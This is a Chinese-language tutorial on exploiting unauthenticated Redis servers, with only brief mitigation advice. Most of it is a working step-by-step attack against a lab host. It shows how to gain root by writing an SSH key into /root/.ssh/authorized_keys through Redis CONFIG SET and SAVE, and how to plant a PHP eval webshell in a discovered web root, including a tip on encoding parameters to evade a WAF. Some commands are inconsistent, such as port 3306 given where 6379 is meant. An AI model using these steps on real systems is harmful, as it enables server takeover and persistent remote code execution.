說明: Redis是一個開源的,由C語言編寫的高性能NoSQL資料庫,因其高性能、可擴展、相容性強,被各大小互聯網公司或個人作為記憶體型存儲組件使用。 但是其中有小部分公司或個人開發者,為了方便調試或忽略了安全風險,沒有設置密碼並直接對外開放了6379埠,那麼這就是一個危險的行為。 漏洞成因: 未對 ...
說明:
Redis是一個開源的,由C語言編寫的高性能NoSQL資料庫,因其高性能、可擴展、相容性強,被各大小互聯網公司或個人作為記憶體型存儲組件使用。
但是其中有小部分公司或個人開發者,為了方便調試或忽略了安全風險,沒有設置密碼並直接對外開放了6379埠,那麼這就是一個危險的行為。
漏洞成因:
未對Redis進行充分的訪問控制,可利用Redis可寫入文件的漏洞實現攻擊。
漏洞影響範圍:
所有對公網開放的Redis埠,未設置密碼或設置弱密碼的Redis服務的主機都存在這個漏洞。
危害:
- 利用SSH可獲取伺服器root許可權。
- 可在項目中寫入一句話木馬。
- 利用redis的任意文件寫入,造成其它危險操作。
解決方案:
- 使用防火牆策略關閉Redis埠。
- 找到redis配置文件的requirepass項並配置複雜的密碼,畢竟弱口令也是漏洞。
利用方式1(獲取root許可權):
0. 背景:
CentOS7.6,有一臺IP為192.168.1.180且對外開放6379埠的伺服器,Redis Server可遠程被連接。攻擊者首次接觸這台伺服器。
1. nmap掃描
nmap 192.168.1.180 -p 6379
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-24 16:10 CST
Nmap scan report for 192.168.1.180 (192.168.1.180)
Host is up (0.0014s latency).
PORT STATE SERVICE
6379/tcp open redis
Nmap done: 1 IP address (1 host up) scanned in 0.11 seconds
#發現開放了Redis服務
2. 嘗試遠程連接
redis-cli -h 192.168.1.180 -p 3306
#遠程連接成功,嘗試使用
192.168.1.180:6379> set abc 123
OK
3. 本地生成SSH密鑰對,將公鑰寫入自定義文件,發送給攻擊目標。
ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /test/ssh.txt
cat /test/ssh.txt | redis-cli -h 192.168.1.180 -p 6379 -x set ssh_key
4. 利用Redis備份功能將數據寫入到目標伺服器的root目錄下
#遠程連接
redis-cli -h 192.168.1.180 -p 6379
#嘗試清空redis
192.168.1.180:6379> flushall
#設置 Redis 資料庫的持久化存儲路徑
192.168.1.180:6379> config set dir /root/.ssh
#設置 Redis 資料庫的持久化存儲文件名
192.168.1.180:6379> config set dbfilename authorized_keys
#保存
192.168.1.180:6379> save
5. 遠程連接目標伺服器,成功入侵併獲取了root許可權
ssh [email protected] -i /root/.ssh/id_rsa
The authenticity of host '192.168.1.180 (192.168.1.180)' can't be established.
ED25519 key fingerprint is SHA256:v7jh2lXha1qeJTqZtHxfFcvdBXxtyMm0z10M3NuvMKM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.180' (ED25519) to the list of known hosts.
Last login: Fri Nov 24 11:12:42 2023 from 192.168.2.183
#驗證用戶
[root@lnmp ~]# whoami
root
利用方式2(web站點寫入一句話木馬):
0. 背景:
CentOS7.6,有一臺IP為192.168.1.180且對外開放6379埠的伺服器,Redis Server可遠程被連接。攻擊者首次接觸這台伺服器,伺服器有LNMP環境。
1. nmap掃描
└─# nmap 192.168.1.180 -p 80,443,6379
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-24 16:52 CST
Nmap scan report for 192.168.1.180 (192.168.1.180)
Host is up (0.0081s latency).
PORT STATE SERVICE
80/tcp open http
443/tcp filtered https
6379/tcp open redis
MAC Address: 00:0C:29:01:E8:DC (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
#發現開放了Redis和http服務
2. 嘗試遠程連接Redis,這一步走不通下麵流程就不用走了
redis-cli -h 192.168.1.180 -p 3306
#遠程連接成功,嘗試使用
192.168.1.180:6379> set abc 123
OK
3. 嘗試獲取Web服務技術棧,發現用的是PHP
curl -I 192.168.1.180
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 24 Nov 2023 08:53:22 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.4.6
3. 在Kali上安裝dirsearch,找到帶有phpinfo或者報錯的頁面,從而獲取web站點的路徑,dirsearch需要python3環境
#pip配置阿裡雲鏡像
pip config set global.index-url https://mirrors.aliyun.com/pypi/simple/
pip config set install.trusted-host mirrors.aliyun.com
#克隆dirsearch
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch
#期間會提示安裝一些包,正常安裝就行。執行dirsearch,嘗試路徑爆破後進行手動過濾。
python3 dirsearch.py -u http://192.168.1.180 -e php
#例如在192.168.1.180/err.php下找到了一個攜帶php報錯的地址,手動訪問
Warning: Undefined variable $res in /Host/err.php on line 2
#至此,發現php的站點在/Host下。
4. 將PHP一句話木馬發送給目標的redis伺服器
redis-cli -h 192.168.1.180 -p 6379
192.168.1.180:6379> config set dir /Host
OK
192.168.1.180:6379> config set dbfilename "test.php"
OK
192.168.1.180:6379> set test "\n\n<?php eval($_GET['a']);?>\n\n"
OK
192.168.1.180:6379> save
OK
遠程的文件是這樣的,既包含了其它key的備份,也包含了一句話木馬:
REDIS0009� redis-ver5.0.8� redis-bits�@�ctimem`e�used-mem��Z �aof-preamble���ssh_keyB7 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCltv+2wFaA4vixtU7N0Iz4K9J/wO62iWli2emLNHYR8Q32hIsHzGvChgF3dcb1lLqndfCKDOk16FwHfkiChZAtjcruK36xWxrTNP54q5ZXBpuT6T+b8zkAljRLN0KqDPxfuM9IuObgMqNSxRPmdlMqxXp6B5BaMY8+iPJL175eM+0Jes2+U9yN/s5zEmjkYTXFHG96CMR+lHXcN3StXZKs4hZGRsxt2KxQ5TP+lsqVV7AIBAOO5milCOUOcOIZJ+bad5aMt+ESt4Sjnzy9Vln2i31UU2QqO4XiVLaLexm4JFqKpjLqis6C9YyTZYwFl/xam3FvroFrlFdsbaRP3W2c0aJLxtX2yHH/T0cFXQJbI5rA04Z+TS4gJqGeofQ8+dNHQc7lBLbcGuR5cN8g/0VKgh4b7bYsXRG9XFZXL7Kl6r2TBCg7FVIKkWoSALm5Qr0tEy1ytNSUMversoDq2q6/EPsfkUDfFJipoEpv4hCzJXy57dDQBOdGaIMvY6+Zk88= root@ZS abc�{test
5. 驗證一句話木馬文件,成功寫入一句話木馬
#由於PHP只解析從<?php到?>結束的代碼,所以其餘字元不受影響。
#為了防止被WAF攔截,傳參過程也可自定義編碼
http://192.168.1.180/test.php?a=phpinfo();